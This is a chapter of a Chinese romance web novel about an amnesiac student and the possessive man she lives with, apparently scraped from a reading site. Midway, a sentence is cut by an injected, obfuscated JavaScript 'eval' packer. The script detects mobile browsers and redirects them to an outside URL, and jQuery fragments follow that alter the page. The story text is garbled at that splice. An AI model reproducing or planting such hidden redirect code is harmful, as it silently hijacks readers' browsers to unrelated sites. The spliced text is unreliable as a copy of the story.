6. 第六章

作品:《暴雨醒来

    两人靠得太近。


    她霸占了他办公桌后的沙发椅,而他站在她身边,一只手撑在桌上,一只手圈在椅背上。


    不动声色间,形成一个将她圈进怀抱里的动作。


    望初直到此刻才发觉,他们之间的安全距离几乎为0。


    她耳根悄然爬上嫣红,脊背僵直着想往后靠,却被他一把按住。


    男人高大的身躯俯下来,气息温热却清冽,一点点朝她靠近。


    望初指尖抠住笔记本电脑的边缘,紧张得指节用力泛白。


    心跳失序,她掩耳盗铃一般偏过头,不敢再与他对视。


    可他的视线有如实质一般,幽深得像难以搅动的浓墨,意味深长。


    一瞬不瞬地盯着她看。


    外头阳光很好,落地窗望出去,白茫茫一片。


    可远处城市中心的高楼大厦玻璃折射出明媚日光,夺目耀眼。


    周靳屿的身影被拉长着映在书房地面上,挺拔阴影将她完全笼罩住。


    他仿佛有意为之,俯靠下来的速度像是电影镜头的慢放。


    一寸寸,一点点,缓缓覆盖。


    在这样安静而暧昧的氛围之中,望初每待一秒都觉得尴尬和难为情。


    脸颊以身体能感知到的速度在快速发烫,她下意识咬唇,直至两人的鼻尖差几公分就会碰上时,猛地一把推开他的肩膀。


    “三分!我们现在是三分接触...”


    “...我、我要去填报名表...”


    “先回房间了...”


    话落,抱着电脑几乎是连滚带爬。


    周靳屿站在原地没动,晦涩浓郁的目光紧随着她的身影。


    直至她跑出书房,“砰”一声关上主卧门,他才饶有兴致地抬起腕表看时间。


    漆黑眼眸里闪过兴奋跳跃的光亮,“宝宝进步好快。”


    “比起昨天在门口,今天多坚持了好几秒。”


    书房里格外安静,他的声音低磁沉沉。


    没有人回应他。


    可他却像是尝到甜头一般,唇角勾起抹若有似无的弧度。


    放在书桌上的手机振动打破这份安静,周靳屿垂眸看了眼来电显示,滑开接听键时,神色已然冷冽。


    “查得怎么样了?”


    ——


    望初抱着笔记本飞奔回到主卧时才发现,自己的手机落在客厅没拿。


    她小心翼翼开了条门缝,发现周靳屿没在客厅后,踮着脚尖做贼一样拎起手机,然后又快速移回房间。


    微信里,是程青棠发给她的好几条校园论坛的讨论帖。


    因为她决定要参加云城的比赛,所以程青棠发的都是和比赛相关。


    帖子里,有人发了去年比赛的视频,有人兴致勃勃想压今年的考题,也有人在八卦今年奖金格外丰厚。


    程青棠向来大大咧咧,自己专业一般,但不妨碍她对望初取得的成绩与有荣焉,所以很积极地帮她收集这些资料。


    然而发了几条之后,她像是陡然反应过来,紧急刹车。


    【我差点忘了,这个时候你应该在和周靳屿重新培养感情才对】


    【我打扰到你们了】


    【真是罪过罪过】


    【初初宝贝,资料不急在这一时看,去享受爱情吧】


    望初,【......】


    【他在书房,我在房间】


    程青棠愣愣打出个【?】,问她。


    【回到熟悉的地方,有没有记起些什么?】


    【没有,依旧是脑袋空空】


    昨天刚醒过来时,望初难以接受自己失忆的事实,曾迫切地想要回忆起些什么。


    可结果适得其反。


    每次她刻意回想,脑袋就很疼。


    人都是有趋利避害本能的,头疼实在太难受,她不愿再体会。


    虽然记忆缺失了一部分,但好在她的人生轨道没有发生重大偏移,如今对于她来说,能不能恢复记忆,只等着顺其自然就好。


    太过强求,或许事与愿违。


    想通这件事,她额头上的伤口似乎也不疼了。


    有了更多精力去关注云城即将举办的比赛。


    班长很快给她回了微信和邮件,附件是这次比赛的报名表,需要提交电子档和纸质档两种形式。


    望初抱着电脑,仔细把资料填完,又接着点开程青棠发过来的链接,看去年比赛时流传出的部分视频。


    冬日午后,她窝在落地窗旁的沙发上,穿着一身毛绒绒的家居服。


    屋里有暖气,没多久她就觉得有些热,把家居服外套脱下来后,换了个趴着的姿势。


    隔壁没有任何动静,周靳屿没有出来,望初猜他应该是在书房处理公务。


    这种虽然没看到他人,但知晓彼此同在一个屋檐下的感觉,莫名让她觉得心定。


    温暖舒适的环境催生出困意,手肘上的淤青无法长时间支撑她趴着。


    望初脑袋一歪,直接靠在沙发里侧,睡了过去。


    几分钟后,主卧的房门被打开。


    周靳屿站在门口,目光准确无误地锁定在沙发上那抹清瘦的身影。


    房间里很安静,静得仿佛能听到她平缓起伏的呼吸声。


    日光透过落地玻璃倾洒入内,一半照在地毯上,一半照在沙发上。


    她小小一个,被阳光轻而易举包裹住。


    面庞白皙精致,唇瓣莹润嫣红,有光影在她发梢上轻跃。


    温软而又美好。


    周靳屿喉结来回滚动,大步来到她身旁坐下。


    沙发凹陷,他怕吵醒她,掌心落在她脊背上轻抚。


    望初睡得正熟,没有丝毫反应。


    家居服外套脱下之后,里边是件奶白色的吊带裙。


    因为侧身睡的姿势,细带下滑,松松垮垮搭在她手臂上,锁骨那一处白皙的肌肤毫无遮掩地暴露在他眼底。


    甚至隐约可见更加旖.旎的风光。


    随着她的呼吸,一起一伏。


    周靳屿眸色骤深,下颌线收紧,沉郁目光里似乎有暗潮在汹涌。


    视线艰难移开的瞬间,他另一只手准确无误地拎起她的外套,盖在她身上。


    或许是因为这个动作没有那么温柔,望初眉心拧了下,左手下意识拂起,搭在外套上边。


    少女清瘦的那一截腕骨上,碘酒消毒过的痕迹尤为明显。


    他缓缓俯下身,握住她的手贴紧自己的侧脸。


    白皙肌肤上青色的小血管轻轻跳动,因为贴得太紧,他能无比清晰地感受到。


    仿佛同频共振一般,他的心跳逐渐与她同步。


    周靳屿偏过头,眷恋地在她手腕上轻蹭几下,随后站起身,悄无声息地离开。


    几秒钟后,望初的手机屏幕弹出一条信息。


    是他发过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958127|193224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来的。


    【有事出去一趟,傍晚回来】


    等到望初醒来看到这条信息时,已经是下午4点。


    她给他回了个“好”,放下手机摸了下额头上的纱布,又伸了个懒腰,整个人清醒不少。


    冬天天黑得早,这个时间点,夕阳逐渐西下,橙黄的光线倾洒在大地上。


    霓虹灯依次亮起。


    外边街道上依旧有残留的积雪,远远看着红白相接,红色的广告牌像是镶嵌在白色奶油蛋糕上的大草莓。


    望初呆了几秒,突然就很想吃草莓奶油蛋糕。


    她重新拿起手机打开外卖软件,想看看附近有什么评分高的蛋糕店。


    还没挑出个所以然,外边的开门声响起。


    应该是周靳屿回来了。


    她穿了拖鞋往外走,果然看到男人站在玄关处,低头换鞋。


    听到脚步声,他抬眸看向她,漆黑眼眸里带着几分不易察觉的柔和。


    “回来时路过蛋糕店,顺手带的。”


    “吃吗?”


    在他旁边的置物架上,放着一个包装漂亮精致的草莓奶油蛋糕。


    望初眼底骤然一亮。


    草莓奶油蛋糕!?


    “我刚好想吃这个!”


    她惊喜的语气和表情不加遮掩,漂亮的眸子里亮晶晶的,被客厅的灯光一照,泛着莹润的光。


    周靳屿的心重重一悸,像被猫尾巴轻柔扫过。


    望初喜滋滋地提着蛋糕去了流理台,和他说话的语气自然熟稔。


    “我刚刚才打开外卖软件,还想着看看这附近哪里有草莓蛋糕的外卖可以送。”


    “没想到,你买回来了。”


    上一秒特别想吃的食物下一秒就出现在她面前,甚至不需要她自己开口。


    草莓奶油蛋糕并不是多么贵重的东西,但正是这种融于生活的温馨平和却又直击心灵的惊喜,往往才最打动人心。


    望初承认,在这一刻,周靳屿在她心目中的形象无比伟岸高大。


    “周靳屿,谢谢你!”


    她真心实意地道谢,声音清脆而明媚。


    字正腔圆的“周靳屿”三个字从她口中念出来,与失忆之前的每一次语气都不一样。


    周靳屿只觉得心脏像是被一只清瘦的手指轻轻戳了下。


    又涨又热。


    这种酥麻感很快顺着骨血经脉蔓延至四肢百骸,心跳在颤动。


    他垂放在身侧的指尖轻微发抖。


    原来,当她心无芥蒂地喊他的名字时,声音是如此动听。


    他幽暗沉郁的视线紧紧跟随着她,却又在她抬头看过来时,低敛下眼睫,遮挡去眼底的全部晦涩。


    他是贪心的。


    想永远听到她这样喊他的名字,却又觉得这还远远不够。


    两人都站在流理台边,可望初全身心惦记着蛋糕,压根没发现他的异常。


    直到她切好第一块蛋糕,奶油上坠着的那颗草莓被推到他眼前时,颤颤巍巍。


    “周靳屿,第一块先给你。”


    他没有出声。


    望初偏过头,凑近看他。


    “怎么了?”


    男人倏地抬眸,奶油顶上的草莓从他如墨瞳孔里一闪而过。


    取而代之的,是她那张精致漂亮的脸庞。


    肌肤赛雪,唇瓣嫣红。


    远胜世间一切甜品。